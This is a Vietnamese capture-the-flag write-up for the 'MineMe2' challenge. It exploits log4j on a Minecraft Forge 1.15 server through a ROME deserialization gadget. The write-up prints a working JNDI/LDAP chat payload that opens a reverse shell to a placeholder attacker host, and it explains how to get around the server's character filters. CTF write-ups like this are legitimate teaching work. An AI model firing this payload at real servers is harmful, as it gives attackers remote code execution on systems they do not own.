Mineme2

Link challenges : https://pwnable.vn/challenges#MineMe2-1

Description

Bài mineme2 sẽ chỉ khác so với bài mineme1 1 chút ở class vulnerable và 1 vài filter payload khi thực hiện rce :

Link wu của bài mineme1 có thể tham khảo : https://sec.vnpt.vn/2022/06/kma-ctf-2022-lan-2-web-writeup/

Thử Trigger test lỗi log4j trước với bản minecraft này :

Forge 1.15

DNS trả về nên bài này vẫn bị lỗi log4j.

Mình sẽ diff 2 source code của mineme1 và mineme2 để xem sự khác biệt để tìm class khả nghi nhanh hơn , hoặc cũng có thể diff source code server của bài này với các bản 1.15.x khác để tìm kiếm : sử dụng IntelliJ sẽ giúp decompile luôn code , hoặc dùng jd-gui để decompile trước rồi diff với WinMerge

IntelliJ
WinMerge

File server mineme2 có class rome => liên quan đến việc Deserialize -> có thể tận dụng với tool JNDI exploit : https://github.com/pimps/JNDI-Exploit-Kit

Ngoài ra khi đọc docker file của bài 2 này sẽ ko thấy lệnh install lệnh curl như ở bài 1 nên ở đây mình sẽ không thể curl flag tay về được nên mình sẽ rce lên server luôn :

dockerfile bài 2
dockerfile bài 1

Link generate reverse shell nhanh : https://www.revshells.com/

Có thể tạo listen port bắt shell ở bên con VPS hoặc dùng ngrok để forward port ra ngoài internet .

Sử dụng JNDI exploit để tạo payload với gadget từ phân tích diff source code server :

Ở đây sau khi qua test trên docker của bài cung cấp mình nhận thấy server filter các payload có chứa dấu ' và " , / nên các payload reverse shell như bash , sh hay perl , python đều không thể sử dụng được , ngoài ra covert về base64 để sử dụng payload base64 decode thì cũng không được vì giới hạn độ dài thanh chat trong Game minecraft không đủ .

Nên mình sẽ sử dụng payload java_reverse_shell của class ROME :

Payload điền vào thanh chat trong game :

 ${jndi:ldap://IP_VPS:1389/serial/ROME/java_reverse_shell/IP:PORT_LISTEN}

RCE thành công :

file flag sẽ ở đằng trước đường dẫn mình rce lên :

Last updated